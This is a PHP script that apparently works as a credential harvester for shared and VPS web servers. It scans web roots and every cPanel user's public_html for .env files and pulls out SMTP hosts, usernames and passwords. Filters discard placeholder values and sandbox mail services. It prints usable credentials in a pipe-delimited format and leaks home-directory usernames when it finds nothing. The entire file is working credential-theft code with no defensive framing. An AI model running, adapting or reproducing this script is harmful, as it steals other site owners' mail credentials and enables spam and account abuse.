<?php
error_reporting(0);
set_time_limit(30);
header('Content-Type: text/plain; charset=utf-8');

$SKIP_HOSTS = ['localhost','127.0.0.1','mailhog','mailtrap','smtp.mailtrap.io',
               'smtp.gmail.com','example.com','false','null','in-v3.mailgun.org',
               'smtp.sendgrid.net','smtp.mailgun.org','smtp-relay.brevo.com',
               'smtp.office365.com','0.0.0.0','none','sandbox.smtp.mailtrap.io',
               'smtp.yahoo.com','smtp.live.com','mailpit','smtp.zoho.com',
               'smtp.sparkpostmail.com','smtp.sendpulse.com','smtp.postmarkapp.com',
               'smtp.mandrillapp.com','smtp-relay.sendinblue.com'];
$SKIP_PASS = ['null','none','password','secret','changeme','false','','xxx','test',
              'placeholder','your_password','password123','12345678','mail_password'];

function clean_host($h) {
    foreach (['ssl://','tls://','https://','http://'] as $p) {
        if (stripos($h, $p) === 0) return substr($h, strlen($p));
    }
    return rtrim($h, '/');
}

function parse_env($content) {
    global $SKIP_HOSTS, $SKIP_PASS;
    if (strlen($content) < 20) return null;
    if (stripos(substr($content,0,200), '<html') !== false) return null;
    $kv = [];
    foreach (explode("\n", $content) as $line) {
        $line = trim($line);
        if ($line === '' || $line[0] === '#' || strpos($line,'=') === false) continue;
        [$k,$v] = explode('=', $line, 2);
        $k = strtoupper(trim($k));
        $v = trim(trim($v, '"\''));
        $kv[$k] = $v;
    }
    $h = clean_host($kv['MAIL_HOST'] ?? $kv['SMTP_HOST'] ?? '');
    $u = $kv['MAIL_USERNAME'] ?? $kv['SMTP_USERNAME'] ?? $kv['MAIL_USER'] ?? '';
    $p = $kv['MAIL_PASSWORD'] ?? $kv['SMTP_PASSWORD'] ?? $kv['MAIL_PASS'] ?? '';
    $port = (int)($kv['MAIL_PORT'] ?? $kv['SMTP_PORT'] ?? 587);
    if (!$h || in_array(strtolower($h), $SKIP_HOSTS)) return null;
    if (!$u || strpos($u,'@') === false) return null;
    if (!$p || in_array(strtolower($p), $SKIP_PASS) || strlen($p) < 5) return null;
    if ($port < 1 || $port > 65535) $port = 587;
    return [$h, $port, $u, $p];
}

$results = [];
$checked = [];

// Standard VPS paths
$vps_paths = [
    '/var/www/html/.env',
    '/var/www/.env',
    '/var/www/html/.env.local',
    '/srv/www/.env',
    '/opt/bitnami/apache2/htdocs/.env',
];

// cPanel shared hosting paths
$cpanel_users = [];
if (is_dir('/home')) {
    $dh = opendir('/home');
    while (($f = readdir($dh)) !== false) {
        if ($f !== '.' && $f !== '..' && is_dir("/home/$f")) {
            $cpanel_users[] = $f;
        }
    }
    closedir($dh);
}

$cpanel_paths = [];
foreach ($cpanel_users as $user) {
    foreach (['.env','.env.local','.env.production','backend/.env','api/.env','storage/.env'] as $e) {
        $cpanel_paths[] = "/home/$user/public_html/$e";
    }
}

// DirectAdmin paths
if (is_dir('/var/www/html')) {
    $dh2 = opendir('/var/www/html');
    while (($f = readdir($dh2)) !== false) {
        if ($f !== '.' && $f !== '..') {
            $vps_paths[] = "/var/www/html/$f/.env";
        }
    }
    closedir($dh2);
}

$all_paths = array_merge($vps_paths, $cpanel_paths);

foreach ($all_paths as $path) {
    if (in_array($path, $checked)) continue;
    $checked[] = $path;
    if (!file_exists($path) || !is_readable($path)) continue;
    $content = @file_get_contents($path);
    if ($content === false || strlen($content) < 20) continue;
    $parsed = parse_env($content);
    if ($parsed === null) continue;
    [$h, $port, $u, $p] = $parsed;
    $key = "$h:$port|$u";
    if (!in_array($key, $results)) {
        $results[] = $key;
        echo "SMTP|$h|$port|$u|$p|path=$path\n";
    }
}

if (empty($results)) {
    // Report server info for debugging
    $info = [];
    if (is_dir('/home')) {
        $users = [];
        $dh = opendir('/home');
        while (($f = readdir($dh)) !== false) {
            if ($f !== '.' && $f !== '..') $users[] = $f;
        }
        closedir($dh);
        $info[] = 'home_users=' . implode(',', array_slice($users, 0, 10));
    }
    echo "NO_RESULTS|" . implode("|", $info) . "\n";
}
?>